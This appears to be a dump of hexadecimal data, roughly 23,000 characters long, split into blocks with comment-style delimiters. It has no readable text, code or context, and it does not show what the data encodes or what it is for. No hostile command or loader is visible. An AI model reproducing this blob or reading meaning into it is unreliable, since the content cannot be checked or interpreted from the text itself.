db19126d2147fcc7e3eaec61adde006ecb2fe80192e15c6434fdeabd605504dcd8311ce4c7de25337ccaeaffc7393488f416e571428acc175c0c2ad60ff8e28fe1d2252ff0a6eece6b6322969b1aeaa185026f5b36f6f225a6139e2687ccc045a5ea4fe89efd4f90f476c4094ac371139c4539b38f58686a545aceb43f09d5939921117f03bcbf3a5f5862bad3b5cbef0b9334a698aef37a11ede1e0dbc307823380580caf49b809c6f63abca5c3cb767612bd43c77386d89404f5a71c0e9972209b7001c1a6dac7e6dc7ac46c43fdfbab63a616a8b45ad0aa36dba0a30948273ce26c0db574eec1ebfbf464cc2b2d59be7fa675cbc81d9b7d7aa1a5e955fa306511da592a4f96fd2bcb77241b756e5151b3c5cf39af028f2614eb0f50cca879111986375ffc5765572d7b44a5eea5881dc5f16f3814956ed56a7a34807c52978e9ba657f47bace855ff1af52b62b0a04a050d6f87483a82fee8e20d798c09ee75435d718955bf0efa18dcf80b540ab670466b6df5d57c532c2ed8613bad4357d45a16aca672d90b3e3e0a73566fa90d3936f268b24fe4c0cd589325b6e99ab6936e66087be059c8e69cc05acb25cf08459effd58c17a3fcc3c2bea83f85d14e820dac64e2caa6f8853a3ef8633c44b5402377ae24e32987fb5e07f09457fa12cfa1989df38b9c624e8eea1d9ffc980ef6b95890e37983750e532f2a4470e05926677be6f080d6651c0952ce17c3ddf39d05d3577b5ff2442836f0a702ee6dc3ba33c03dac5cb96ac4a697250574a549beec9ffb5e6107dcadda61752b8316773415cdb1a87b584b77069994ee78a26587f38f8b5e7dbfdc15251e16928e65303ea52426760f006bf21ed75d8898b49f49989f4e69fe3c1a282fe8cc64cdba88ec956532b48348b32084b253b5d8eee5134e5c6f21af54d3a3c6082d3864b0e42e42afa87b2412ea53330860dc85b661ccc0d8c804f3fff4b3cdd98339ef214ab654ee633207b5ff9c6fb667fbb52d081f2655d92f40cce3e7bf9af06518916242414e7fa364b38c01ac60d04d9feb3aa164e02f37f972653b46a70eff552f2cea641d419a25bfaaec3edc37c70fe7900c365a65c5964239972829e1484ff03e8dfd2e9b6aa4a48db1bef41b698974e73808e1d782fea65eb167b398175187d35103ca1f0d2ad1448bcea852d910b57c6de05f6425e3b380ca3995397c8a10d8733201b2e715f5274c6aad1d617da9f7f760baf2227785*/
/*9d0ef11cd8132000547fbc2fb458aaa2b0e835b71eb0d515575687b6a2336f6c59480eadafb9613a4c9fc1dd84a9ab4b8f96f79b517322431d56d80f2563d855a665a5a493ae26e1c91d6397bb29c44a6332feb9f0992d307e4422b253aa95b9f8f76c632912483301eef354dcbcdacff0400c13c22e51066963ae08137a666bd0bbc054dd164ea425a29a4ee2c4b805bf3ced73ec32a95eee2c72523b2163465db5a03aaf39ec69ec9d02923138145312d868ce537cf50ce6c238b6622af40c5d10e352d1c0d42fe3aebb92aed2c9f0d15a1f4b139cff12cc66fd57c4accf212de8a935708070c27d1bfbc2b6ecbd678428d9797ffe1c9856fb8b9992f627dcc70512b4843a1196034e2b2b7c985a612912c02ecd87baee1038a51b8f0c7d3618bed556ffcd698de5beb3dc9750097ea476800a6f19450101e94d9576ff3994aef1c5a251edf71dc97e52dade6bd2441b5a45193c9839b12e0019f75c2d8044a9257e958fc670d9f32a42f2713e61798d2e0c0577e0e348cbb6f46c67c4e938ddd07643bf9355225479dd71571db988cf7a0b8972f06d544eba0fb78419e832ffb7889ef18cef85647aab9da477f7e29ac273717eee3ea429cca47c7b5ca67059d129ad1442dd6cd0bb96831f4f5f0a63a44a978ba8537d08168757cc7dcd705121e4617b1337a897941695bfebc89208863a6bd5623608ad80d5b73e653de28a7409d0dead43a16e0761ec7f6325d32e7e293fe4e835cf9577bdb0934acc1df6582749f4cb1265a3a34ea20f4db0c9f6528fb3cda5694e78261e532ace2d903d677db9fd6f4e40b22bb2080d09f1db985b281a7697398e223cfba2c8a3759d9bbb7c66d4b13638e24f072ad7df631765b6b2dc38b348ba130f306e1f3b0a3d604b472b88d36bde5e36b73b2309bc0460fb0513da67054941ac9e721536bb9b2857bd1cc628902cd0effd08ddf61939114ee631a5ac306b5114e70264f7fe66092a113bf6e82568ebcd69be95b07b88cd522b185c1f7d7bd18df1c698040c298597887807f65464c436cfd4b1d10630dc3bc6644d4ea3308a49a9d059246ffb3bfd66691b1a82ea30ea06861f9a12aec64b49450ee6aa56c3b496737a06d73f5e1823fc049688fefc851642f5a9933d1fc74f25ebaf40ce9003a6e5effd19d71f0dbe87c20488830ac3091161867726412b6109ca12a77eacceaea079df92648ba6c4c78de60eeb8bc594c5c008fd54e7b03704c6f221ac84eec2fe3580d32bafa55bbc25f293eac620277cb358146ee3e42c1a081eeed754cb6f0e7b6821373c2a18eb4d4aceb772aa907a5df98603ecbe4878e4a2877f8c493ce1f660a1c85405e1f64800a85523f6626056b2718331a925b70e03c805cbfef3bcb5116eb94d98391fc5c7990f0d765a3446a15228ce95842d71bcbb65d6fd49db4c6467311ea11298de90ba7227eeb9ea33eb20bdcf78f6a7f7914880ed8e549d99b5239d32028c586ff348ab36095bf588ee44ddb9a19ae10b47da9d1c2bc8a176762d34862bda9f1d0c3f0f343182d4b2db32ab5f2c87b6e5eaf01527bbbd80db760d6fe18525bcdaa197b6c70c2cbde1ac45bc410f2b28ca590f5e447b07d5026b012d9bcfbd443834bf14f7cd824a5781deef0fc26e2d0512f5f41554abbbae8acdba66d6bca1162bea43ce1c269f98e968b46eccfc38bf66a46c4d8a9dab24f8de443891294878e0fbd13d903eb55519e7d12a25ad681fd15c3b9a47636d98beab3d323b1eac93ea55276a68655a55c247b3c2f1b7f05cda2a0c50c74555a167d152e47d530dfacf1a7f646200d1f6a2cfae6fc8ca2ba06fd544b2de8d39e1a89df0015b9c553204c51998188beccfeb51f1cbf80a619b8c4b1a2e91aee4ad22e1d285deaee2a2fd7cdb878eaa77d744f8d74dca05706f714b64f2ebcde84a8b83658e99d47f5101661511146a9104ee643098e7ecc73f4b14118f283af13691f8a4b88870e3a6f3656539c008f3f126db837af0b288f259a0069dff66eb057ba1b56b73f068ab95f1c2be55e2e2c4ca22b65c66907be186e59f1c39bce2aca57a2f1dd1124800c2d84c15d592c26fa53d93a25747d696d38d8f2fa26256374e2c2a65782f2192586dacfc481ae2fd14035254efc388ea923b4a99750db8ce20a6e4ca32a50173227ffbf3651321a681ea90616caea160a4ffcce8872b4b3e124888d475d387a18df29fb8e245012cb0f54c2ca4483d35448053f7c4698ba3fb2bb7dad766d0b1feaa64668be004f0f49bb1b1351bfd6de714d332197d0baf7a07e212085f0a1c1856d29ea02c8de4b12a4f9e0b5d4adf84d961c62241d9f4f95e5658d6ce63c841af05f3a76cec8d62554e253cee63d86838c9838329b0e86eb45aabd24f5eced7e175974995f2effd5f654a9631df9058f3a33f21f70183c419f96f8d3b11d78740a99c1c55543431abef42cf078e146c719a7d6836ee93275fd833e6a51eae5e5114c500f8e06dbf9a42da9fdb2280d2ce49cbe7d01d449c2c61f78600bb7ee5d2ba583200f5c2100ca6e5aea0721bfe6a945dbe1bbae5ee5db98385a3823d1bdf65afc084a68a3f40772964637755a93f3bcfb4db56290d37f892cfac6b1c21a4a1405fa258aa5266b1b0eb3a84d7b934b021d81b494258f13a6768b8575de9943a5a9547852abdea037b35f37d56bd90614a6f10febd4d7e327e0e41122d4350321fec891fdb2e04c5e7fdbe1a7c2321a80f7dc687ee5747aa604dd1b56894a3042e7cd24f4308d09e11b57416ebf95d34792011c3bdd138cee44e1a0ee78a21cd3e45b25097f7535a*/
/*6a8ccd5789bac3261780abfa8e830ebe3153681d21069481592efc53447dd2f2cf42bb811fe98e4e6253e95b2048239562c1aa6451ca91f7030af55cd27d0e91dd54d58f6d25956abe969073abaa32c06a4b401a577f7116169a82c11f16892cb49bd89c0067775ed99ee967314774b5bd162ae49446b91434391fbc625237c4203386ed2668288b9956c4fce2024df415485ca550324fe6ee5abd8571c4afd34cd4035e66f27ed42ee10e9e8d0b8cbe93f73c0171c2faa8164b61228a46ce6a9e80362e82d97d9920190aa9b982ecdbf4e4325df9c4553c35e45e963bec76dec7ee2446b84e6cb4d68297f53b895b92d711c16c979f2efe9e8cf930734c835c5aece33a202bd712cc34b2ba915f8fafed260fb5b81a445f2bcb31249bf620cc5f71c188b90f7ec68e41cf1df0bffe0c797efabec9b92c0ea4354631b1fcdc94dbc4fccab9f68bbee98ea322a49ae77572b5318b2b7c6eccca03283b98d0f38438c0a812aec52b738c7e95b657876fc41a8151daa60cd8e88cfc204212994303c36ec94805a082dc0900cd80f3a311fa364aa54c7cea64148d022c30636c3efc9b2be07dd3a92ff325aed3c88857398cb83268aeef10d1533f37a86d8dcb84653deb09b9c172b334dbec9f02f969e3600e9d962e0faceb7297939574b3fd26573fbfa2be56195a0bb87ef1d25682745435c080529784b0d2f7907aea7b5d57f108382e434da2ddb27125aa817f38ebcd63a1e0218653fa19435138d6317b489e3201743c441a69efbab639bf8b1243024bbed598940db5e95a64e8033b05174b0e8726602024e3e2396aa46e072a9fdd66bed878d7b4a46c588b84002d9182df1bd7d1f8f210b27a9eebd384d6cc89fe79e82ccb539d259f7a2197b111e775a1be92c3e5985cc0588a6fe9299d53963eef9ee0c7f64ea6566e8a1927a998efe887c37838b2e74cca4b35d9166424cc01a618f28e9ac38862e582220197e7c275266451a6c93b0015789e302308aee2ad733953f3dd6773e8f45b188dc228f2d1b20d2559c926e08c6b724896c53f13a18c05e56ef84859c84a55e5e8bea511c8c3d4eebcf26386f279cac92f38f9618069cb3c775572e724a54aef7300ad6ded2804c5b7971f68630b4e83254a989dd28f6d272cfd743b7562fa0cb49b25fdf7ed6f50ef5262a8963ec62ceada8e503ac1cd9cb636b30113d09963a646684288a325ad430bcd847afdf1683e5085a5d2ed6495d290748802293a02c3a6e0ac3a29f0d9d51d16bfd16f92028550441f0efb685189c870735ddce85bdb631988ff161619757a0ef69c92ec1824b66cb85b78bdc795a95bdbe0f3a5df28cc8d39bc5ab05a91783f0eda6832cf50226f916c35843d9aa7c171801a1861c4caccdfb3274003c5fe79733df6a2ffd0cc9c86576fd4b4f859a9347bbcd8c92722e1f8a47f25939a1e68cf0bdee6b5ee6299b7b907dd6afd7171b2fbd7274ad133b20b17bab5417f5343e6c0b6f79c91f1f36391fedc9f7afdf429e9b7aaa8a5012ad435f5cf6b2698e0b45d578cd294c71abe81fe606d4a24dee66ff0c13009e094685aa8520965b83dd2624451752787116fa70f8c7e3374c7728faeaca59287c5ce6f8b5f24aaf11eca8efd0c1f993c033760355b7ae03a4668a0184f46b1e13def3bebb120a0e9dbe64d02f6b0f2fcbc47cce2cd99e4aa4e71d9f04144f2702c9cf4142fe3ae85f8f4502fbd1c426777732b7faa899268d5b016891c048e827a60bc0fddc7cb79f3f385df64a28a4d12726ea70f2cd0337877e7d5dd5bda9bce4685a2b6119b9df82bd3bdf06475b428c7d9e0dac229e2f95f4c38c9325d34a143c95b43052364c9497f774582fa8f0f3e08d63d96a08e97eecd28253ada8a5b96c85766172e0dba1533d827290e0166a995fd85cd97445540bc43dbc6c27cb22cdc0d1b7281f73ffeae29e935f7e638a4e8bc2df3497164e2d647d3ef5943234e29f1c0e19418d39983861a968d381952634e37dc0ee7f1aba66c5aa2b6394ad0eeecb5be43a0d7016cb4aeb18f8549cf3ca509a2c29b0b82efa39df9e319abef5c8e43733e0cb491722c27f62f9a55383d38d4f170842313561555f5cce34931a19c6fba1b1d9f7efbd3ed2a3f34ac2bec587818af4022bdf137bcbe50c5090710e0802378d63c4a0e9e5548d26ce96fe7b5c463283053a2287fe59de934e64ca89f507c47d83390340be83cdb5bdff8767a97928fb043e9c4ff687edb2d977c05e68228615ed0e32ee57ae2a027bf48eb8e10c6460392d84aac8eba65a3ae4b40f017526832401936eebafe96e70cf93375a8a1ca85930361b5592425e451f77c785b1aa5323ca812c88ff2a2f1ceee5458dd6948047f742c3e494217d9fe755a33255662bd5924d4febd86e916453eb2fcd7a306f6a5f23d6882878823179edbc19b28b386a374641e55c1b4724ead21cd213b98eab94131cf15cfae1d2c12863e19f82342e246b3a59b754a8303a3b193ca155bf073bec4fb6e80cd4ffe6b7751455ed8b0d135dffbae74afca0c6855fa58e84c17eda7c149112734f2d89bc6e8c8b6e8ca7ab58c6a04f68916ef03088dc7efeaa2e928a80abb10a58d02b06a18d6c2339705e7a660e2107247d11d4754e2c2e3f76d21cd639031c16f6144b2e263bd23a346325a119ff46fe02841560121df4336f31a8bd0c4687a2a6d58a337480af763cb88f56e0cc5166066b7f8b1514ad04a8a4393110b2ac52cbc6eb7ce2081419359fb1b4af6af67af350ed21db6d5ba62357a0268252e7452b961f60de5fbce68e4e828630579c2d9475229*/
/*d3e7816ce78c72234839af7135dd6e396bd3867e272c676d46caed313043aef704d485b1528ef03b12a903ea0fea034444bad6037a6c3a01b5a6f17f10acd2c39f1717cae952141b97df2a70b3304e1198a9fc90f35672ea7ec65ff4ba8f7d11b69c35b3dc1711d1c94573ecd107b4582013d94de416aac7f459113684a898a91b385b63b640de7f73adf39835c73ecab71ac1c7f41c17f91dbf2501087557002c41a3f4b48b010055eafa5e691f4a6d4913062477817db3812a18f6149a6caf3436ffdb1c06760d919be2e65ee7d467ff2e3071a3a4f07ac9d598773fb3e88149cd68a2257fcbf8c39f35295ede6ef302035109feb2a0aca69ed39b2b8b8dffff3ff7223f259d5839b85914d9b0f4bc7dfdd66c1c8cc369917ffeb13e2863ded6caa17b70d985ae48414133ff4a9e228457c9bc6a5294bf572f84495005076d9c0b33323edf692d2ed8c0742ea20fe27651ee2e399f9ba71394190f2b9ead9dd1fe266de340a9822f26c550989554c0ff928061fc72dc207580c1a9d646a0eb584e822ead748ed03393b4ba5b88e931b266e6b1f73f95f5f4c4c44150758f13d2109738257d528b953e116f08187110af348f823a067722b0480a1a7fbb44133ce8128c0257c1c1a0e038ace82e45baa16760822f8c6068eb5f40c6f899a9ee8efc7abf37915ce9029474768ac129cdd547c38ede1a76894194860455495395ce369adb932f7ae5af3f605f465e62357e779207f9cb840f90b889ed3fe50b45aff6af333a6e6e48b9e8e562891adf8f68e07ccf6bf63271bf52a5e54839396b84c61a68f0baebb83458519e37b87fc0226f151487e1464f557941a54fc9e7e20fe44cb6b1e71eae2823d137681cfedd848f9f48b566ba57553817d50a43ac55c4b534ed7bc5bcb4d6fe42741a28ab652f4a5bf2a8ab8860b76f9259073842dbce125f82deef64e3699e57affc9c9c5bf960b922272a395df898904ce106dcf61cbf18cd32f34ac4bcf0b46b75245d577391f8cc862ecebaf783a73e2e6980411d90f7ea5ff496d0f797e1d7d35defef74a88ae23f98aca34171ccc0b7afc9c6bf1b8c856ea98d752036cd26cac42fb9c69109ac26b7f75ddaa7a132297bd4720c93e4d5e91e5153faa7b61559cf9b8287060c2355365b23ea19596d02af50763bcb6e32017621abc0ebbc0a2648f8aa8b4952df13003ae4c79387aa9def57e5c45b249d2ff38909866297eb74a169bdecfead56e652cd327ec4c95ce0db97027c695e010d8e795fc94d64357eb348992ce1b9a451713c834353d4bcc9d51ed6539dfcda287f253df57d0eff2fd515f9261ee6fa508fd8600fe9534ec2b2a8c754db0473f2e05b03a8083b6d1d38c47d4e09170f490205ef2b6e4e14e54f6f6b4d7d3915bbe6fdf8d733210776f9e4cf44d9b93bcf1824eb3520015a6cc7da78e017a487dedcd900df039b0d305023ab05b0750aa297b5390b6115c75040acc01f3e4de1978c1f0c2d613b6d040e4d29ba3d72bb0e54754427a9861536c78469c72a20794b2890a2667ed14e5fd63d0a3a14ce774c212e35b7f5db62d2a8d7d6e8bfe66203982c1d29f0d319ddaf3e5813c12dca684128de3942f573e9bc6716e7fb92b854684643c6011f2619f8dc9df90a54a902d6ace6ef4ab41350bca87d8f78356026c7004fec6175cd683ebe91132da21ab79c514d882376848774dc87f4949ef231b21ade7b1e1d94151aedb122081d8e18d85cfbdb60059229a81e450a9207c6e23b71b78cf08ee168a65f721f707124cb6231794d9e47524da3218052e6712d69efa0a2d8970e0db0d8b9ad5c33bf09577d3ea014ae0f3538ba9958213093b6f708ceafd97770b42f9abc56ea24423abbe74c38912b3b51ca1bab9f84723e01bc99d6d9858a12ab7e9021e25bdbcda27e25e6003ab222e1e2af3d23e87d9e93582d5686dd9e6553c3cb5359cdbf92680085c648e0969d16e3cff491b6bd1c2cbf5e6e5a68b0357211ae81dc937279fcd1a41db7002f692d8bc94126ef44c9d5dd12baf6a46e1e41ac6006b574e71c5a67e9ee6d89d553640f0ee27a3c9570d3c3a61a3182df5cb2729c8e797a8e9203d81ef771cff86c17fef6594e6ad559abeadc967687457990f763087384cd689b1d5b36aca7349ea7d89f4370cdcd25f14b2973e15c8c3da8a09c0468e7fa9ceaa19b386d1403abd839da04d7c6d54bc7af66ecf543a2e25975ec785c36dc262f39b284014ef33a96c27325c98eda45dc639c81f218a5acca7a1a3d9ba64590557f007faa39b279b72b609df0df34e135433fd662d471c3462378cee0ec052cc8b9f14f7692c6bf3c9f8d36f370d2b128b0b761739e5204ab4e64a93eec1fc3e641325037a7078dadfa00ddff4b3d5d63cf4073bc09ca5dcd99b68dd95f61748377fddd5529849d832e50bdcb42c5652470ce20876bfc8978259674695ee892bbc99998366e142d48fd61e9a11def88b9a29f5db6ee6f3eff01da7ec479a190d9b73999bca9b62bc3eb52852fb16bc8036b72485b75e160b4a2dcbb3d02ecf0bef73f289c48c07fd8c1584176ef3cd6842c68ee2fe1c55f8aa8bec5a15b32ddbb87dab697726ae4b5b8fa2045677c36cc3fd67c6389b7520ef74fe5665cca4627680b8dff0a96acb7807eaa79293fabdbf339aabdfb2b9c3a707f5c872c4ed30370bf7afe917e72db4f0675d3539614fc9119bea79f84c911c22ed5fc57187725182c1fdbc615afe07389c95478977d5072a1e316d056fa1815f58a0c62be7444b9e1bd21e9c98ae03c2ec1951e9a5479ba012afd62ca88e18da94955*/
/*e4e6cd5d6fb3f21a22ec2c6a5b970857b6b55a99ded99296201018c0ae88ceabae0cae0672008f362101bce30b49b1a38cc853af358a305fed16afe5e35e815b51b64e46e4b4ce576ab9de6344c1e326cd5a0ec6bb0677fb3b88e28b9d3b0730cb053c0a5637adc226eb9313070291570b721eb4c44d29fc783bea814634be23db3aa3a27cf48abaef1226fd657acfb8b18887b38126b18aa4c9f0034fb675c9603b15cc3cfa21ef7184d8a329cb124252bbc21029bd4694614f9611d6a8fdb91550b60f55ee6e6689557c8c2466d2225690f2429f94a0c2fbeb5e4236d72b20f8b1d0754d15b3ccf7629735804f76c0ac256140bd293da2a7cecb877a746637943de1fe0c89bc969b1ff845640b54109a53992f63484e1229bffde0057b7be450cc384f33f1a1cb5a207dd6237abbc2391b50b3bb2e5b8d21c70519c64834d5777f76bfeeed7cbf19065f74c2a8f04518c5161ec7a9cd9e92fc2a169025c3c3ad4ba76354f4bc4a9fa2a94132821dc1268bdaddbe73e762d78dd0947cdf1cbedf00df9559d4b58223401fc880798334e8fc37a805a5350c21d0544ba333b485376069d82b6e5b065e7bd56e14a13f172646513e33664ad9656c6630ab18fe19772a6a8916fbfeef83e884e14a9e9284b8a04f351db0075e1eb37c0ded9ac9567031ee9f843a9dd6c771a1047d798f85b39730e647e75a1f4822652224604ceccbe922ef7e3333942935f018878bf3f6f8b28a1d8cb23cc64774456be38965f521f853d520ff87ca2fcf96bbe32da2a179c78f1a5cbf565d57fb18455602b0799cdcfbeac8f086041b4e30f305b08a4a31ec6207eb1d6d060a00db0efbd305b3ef7d0b1c31eb4c8b23ed160d9f3e8e54d8439aeeba3034f947dd53ffd6ddf3344330d9658a44c5aef437106b9f604f0808d8a556ae09885a067363042e4039394a6f03690f9660e10b4c370b5488e2a80931b1b63aec40f41c733f3af4c996bb5812788fab379c6fa945dcbc377d9837efae272faa98d1d051f28591e13a67ed83f1bd7a7bafe48c53f0219247149b9df9282f8a3d6b5683e686f84f5ed681a573b292f8866b70b22f62b562786e3f476e62ebda1ee0006de7e4c37f0d2104e20f4fc7bdb2821a13dc9d618ca12cecf1747a012c2fab39f6ef2eca6536f2ee679ed26c117a70357395a748ebe8c31aa2edeac5ff018ac6e9e0949b7a3ff24459d569214e0f694dca222bafe24abf5fb70d1b04f0f896a1a34bf576499766fa54be65dc04f151965af6c7b6100fcb95fed231c835f0da3e9c4d2beddc4833f92bf5bdb00fa1e87670c1b4ec4c65f91a2b79234153c909adf7b25cede59f8ef5e67932fc587dc75af682be73e4e1ab301c82ac938bd6feeb93d3d88a321d82f5f6bb6b9e386e5bc76d5196fb1a34f02fdb11999aa232900f01d14f7c06aafb54f34086915f7d8e23f8eda847b158fcabe206a4dcd17cac0207243641c1f252e7fcd037c2ad46a83ac653a4890eb392785c2dbf189cd18821c1af21a80601d431e2c0f2c0211007b3bc37fab86fa9b55d6feb53916f2d88778a0a32d8e4f0b431cce53477c3667a5c6113414aefd8bdebf01d2fdc958d984c55f40d87aa8288938a0f92adc9dad2823ac28ce07b9e3bc288540ff5a3e9cabc224b1b3e3c26515b8e7458d959c1a3b351b2a5862285b94a760c6f949be2fe4c0d34a0c3bfe4f7d4e3b1e39dda6d58870f5e484c730c2d5400aa278f815ae0b621e1a37fb14a3cdc31bdd14eaa099af62d50cddfb539f1392fd4cf0148baa928fe9d89cb236d963b62a4443067266273005e5d761f3646635cb309e7c8fe96b48f84fe6993054c6c4f43a02d3f0580b57353e548e3c5cef05b96524b76504744b498dd2df83ca6a50a6734c5e8eec9a3e62f299fe75cce07403efc670ce201a67c9e8565d8896ad400e37d733fe0139f4259db4d4db157db2948789918116ab62721170b5eed6af6231704109c141eb822f72ccf21916931840a8aaa7f88d5c2d189a246971334c59578b224e354cf8b4761548582114f97820ba0d829244a2c5ac8da51818af9eb17854f0f0587b094cebdf6f80a9bc22f201449da1e0c52eba7df88f3c9900cbd8abb3fd85b4a6f1043a31bdb4db57bd68c6a4995d118e039f30dd31a8ef37a1037b422b750143f8468ac936e0b6fbe9b26122f66b9ab66f4bd3474245a2c2a86a3175b0832f10d50a13dc8176cbfeeeb266e208c24c407645738b621e61ffbe11321fa5262957bd3c3f1a3f2f9c406ce9b041cb7a994650d186ae00b451ee103177098c0bb2b05f94080f98847914f8e397d0aedbc7c9035ebc8854c15115fc5516bd812376d2ad8e736f831be9e02887efc2f8b2372894fd0363a6200ef6a02996213468cb9511aa1281e5e5229106d72ab2bf950f79e32685e039bcaaa5097333b149ef75309356d691fdc9adee1f0ea8fa2cdb26a02c637497ed2c5086a7f52843ad326364d213e03da6cf4cd6c60c1f916293d77419443509a4b7b45527d1d366147376052bc3270029d1d453b821315831c6542fa32abe54ae9d8426104f771b05845e3f3ff221a341f5248f8b890e2318ede2add8b84b083bbeff2a8be2cd9207afadbf0169101853a6b98e3a16c0e9fabcbcb1d9d53825ae5f49a571d0bd248c80262d07aaffc53dbde5839d8684f5e3f00bfcbae9b20efbe4061431538abe519e87294aad3637c56881b24a7d0501e8d93e6376b6a257482207aca5310c3af618181bbde7e09bae37a9f6ab80fdb834a135cabc3ffb4839bf6831c4f9778c47b458dfdab42703f51ca6d8500bd*/
/*db40e3fe954ad3037f3abdd66a41e6ce5cf0424e61202cb2111ffb5487079faf7ede700fb55398843d072e7cf1fc025697ce6460b44502e32c66c4bfdeffa422954b27676370e2f954455386b2010762f1a9201742081c725fdb2a97ee12b9e85b8d272dd65a39f31d28ec7e56cb5472949fda22e1edd0098f73ff66d43e996f9a124f5b57bca5e1c6b684ee45775302cd60d5104d811b9810d7f70c1fc992fdc9cb0ce30eed81f8c96377851b8ddda1f8c599a5c0a6c73a54ab0aad74726953f18b80dfef2f99ae8de1bf862b78596f543370d3312f6c9f295f4d762399a10ca25ccecf31ef97f807aec70c001ddeeaf32aa5293a19db3ee984713d42141ff3cd10720caa88c2e1509e9582fc0e2825dcae2ca1b3db6400795898be675055207468974f5a6077d509db12fdfb6025ec61d5f9a39a640429cc30eff69020a631d10d6b2f48d5b76dddc58ef28263358d8b99ab9dc895cdb47416e5bfe8a805b253e22236ace95c425ad464d7bf7c87f5c9f8f39919017fe8911e08027a2c09c45a8ecc208bab6a3fcf307a19d7b20db0dffe09834b416b1f8bcb1b422c19b1104553b8747bb989475dfd743c8bcdc4d06929e0f7b16423d62e55956fa7eac066dc947347b2f8f95b110961a347970da9d662991f87c5a72f125cba8ab5d21a84c7cefb1b5861ddfaa3ccacc83102f21f460a49cec013c973ffe6b02d6ca85a8d9f4d5ff32c4afce8b7d65d7d2e8dc7ef19af964249331d273c082d23bb478f2ec5a23c3ff58b296c30c4b7a8a674a8fb707f178cb6aa06b09f6789dfb44d62a0d808bab375d4d5c3a7aa25511f8282054cc548a117e31ef4dca024fe9088c7187c0ff67507eddd98fed3bc16a3e8bfe30b5f7d1aa2def8153d597e4f9ad991f16cde4f1f8aa0ce73a394bea6cbb4eabc5f185e254261f15cc62c9659771e8c810fc22d83bf67806b9980835a90b689cee970680f494143f071e6d2b9965ed5644390ad1d9167ee57d1d145a0c813a308d6e39a1d78a55813167b4acedd8baa68b7a28a06d67c1ad827e82c313dbc5bf637ec6b371e33e839cc47a571c95b6251710e5bef12c30148e6c47507e12525af3a12d149ab025b982f704488d3044f7a331f1afa46d21e487ecadba73156fd0c0baf703de92526ec1f90579069a63add80f90e6da03bf861ef7590104d8b93c9ded385e5b70221229eca9226f6fb0cb0f4f307573770448176675b61072819e571d4441e46e902e918ad1307f32e46128efe198092717e46c65c7f94110b98221d79f706e1431544bfe74fe6af3b1d67d17f1c993a40da6b25c55581405135bf6b6c312b6b821706f1c365d868961244891676da64ec918b5ed435e8ed84a0032887bed2749e795b5a2354031f79a47dbe450a7ac0afaeb6473c393ffbe43fbfadd85ebd3d0feaed62431e1a6ea3bc96cb3428d8da1af13a569af44fb12f086c2af75e3d6f30cc4ac3ec203291a065d7131accf9e40f4cb6ee301a91712e3ecb7b60364aa753abcf2f1f2cf5438cf89190f7e5ac3c024daa394363826612be3b211ecf1ca8515a697b2ea0d52e0eda7043ae1e0bbb4c6535f1e5e405502170db80e1d3f70cf46cfc080faa349f5a865f77f014006c57927414e35d8e3d7bbcd64cdc411bfb12b191daa86cc167bfbb3d94e443037d938546b269f17c17863a25cb868ac44e7c752fced656dbe0b190b7fd3534bb9702626f2e6c584ec1fd61db87867cfa19800106d1931f4fb4d58dfff3a2aaa5adf7ef20c2ed7c71d339cb33fc176425d0bee9909442dc3e332fa59617604478ad7b7c9752ee5ee9e73c05d05b3f0ba15a13cd97daa4829e410d5add8958e3a014fbee4b445e62c8f300f8a74a755049860b98eb83f26df852adb2aaa3df37e7e36f67408a4046a286562a65ca7fdaf49e2949178098aa350afa334d2accc047a22c905d88a6ac08d2bad5691b8281f1fbb5c7cb00af55b46617343cb887fb7b7cd89d48f0ee1545d0d065b418a1378b17cd531edfe88860fa239db84e9c6bd6221298571f0fc77e6b5b07b602b2186037ba4d9668c59a56b2974f3b1e80358f13cfc564bcd1aeb75ff5690a69db4f6bf196a66dbb755f90a2e3e67d323b4a2509e924f714d0c72edd66a5855150558b6cd992d237f96b4a892e9bf17ec5b8a9f07a08f9830255a97112db94fb9410525e49228c93859b9e6edfc901516db2516b561d9850c2b8a423e08b4d2ac0cfb634584dfb54ce4533093777bfcc92c7768673c515b68ac52d722be870de6937a075babf4c7c36d76446161fffa51c5b4d6e5ce5e6b7191594a8256c7ce6aa5317528ba816069076f962b9020e4e230166adc8617d5efeced60c47ca5da051cf2414a5af76dec66ef9b5e1f2ccc12582ea7e9ff8e20f2d5bfc7d9b0ad11ce214885510db9a88a0a5e272d36f5c2329c06ec848ca483ec2b1999b9049c6f954b5fc360e47e1a48b74b64239a20ef2eb2e72fc1ccd96b1d8ac85d8b5219cb676cf922b7b36d75dcea9770afa3b7768844970f6e5065560bb99b42263af882725b073c0992707379501143e57d032125df8f7ed673df4054b4e7c8095cce0cf902276547c293b2221f0e038a99710fd28ff1fda48a7bac44479111e8ee3f2177879f446e4013b89d9bfd3f0a8ac10512e6df3c5179b0b4233702c27257141472ab82b55bcc41a723f3421028b4e1e3c2ababdec8bee261dd3e3a15dfa1bac028dbce8505a3ce17151b1ed1e56d7f8deea60dd38556f174a43847de9ccb1ddd051bfdc7e583056e6a1a562d6d81891fe941982321e4ad8e82b714617e24d61*/
/*7a3f0ba40d4608ba454b012f595c1bfeccbfd21454828b4163935b2a5e1c17776e470c411a4d465f6eaf92d0f12c74a64a790dd4295b1f73dd17cbc255b8dd0636b270b6dbf269f2292faeccc82b5adf2a1b16296bf3dc927d2c667c11ab89fdaffff538e13523ff7e125e741c3e76cd0847b4f0e902ad4da82568f05314817ce834b2bcf04f8338f9eac476bc39faa10f63d800eaa7e6ee2d9f9c0c88ad63fbf9fcecb88291889131cef8b9cb815d5b0f3cd153ae3e5740ce112b1f272d2ab2c6cb6d6d2df6230fe61efc1044092f87530018a15e1626c81666980f685df5db16068099f00759ac66f1fc5f13bfd35116a48b7eeb0af8306ee6918d28591b3a094dc0a3bcbf06afa96edd6c3d1b148cdf416ea9c12f58c891ae62684b5e684d35e60ace7241aff36e0a6e600bcbb66171f55401fc481ac1a10647cf3990d2f072928373f3eec6205794d11de968e140629bf22c61473b9262e9835efaf09561d6f6fb44104e8cb349a70acb06d73192d27ec681a5a059b6c02ddf509d94b8873073f1bb825a139e8ff9b6e3d2c985ea37d0ee925d0b3d0ece1c0bfc780eeddb76c7572a1a0bf10c81169c603f39a8f0f421ec44e2ba46965c8f4ee3a1514fffe31841eafbca794f24e5b86b13751f26e99c9cae076372dd6d04d2e78bba69a9e1a6f35d4faf2a7229d9653b2b2bfcd583dc63955be3ef0eb6a15b5057ce72351ef0f79c896d318345447d99d290cb3692b446f2b4114240877fb52f2991b64f1a31ccce54dba2696498f632990b25044a2b2cdbdf879e0ba3c3b062db2c6c02d9356f3d1e5d689f3612f5255a340efd387ff0c19a2700a2d0e87a718a11ad8e2afc2422cfa8a3d67322293f784f358625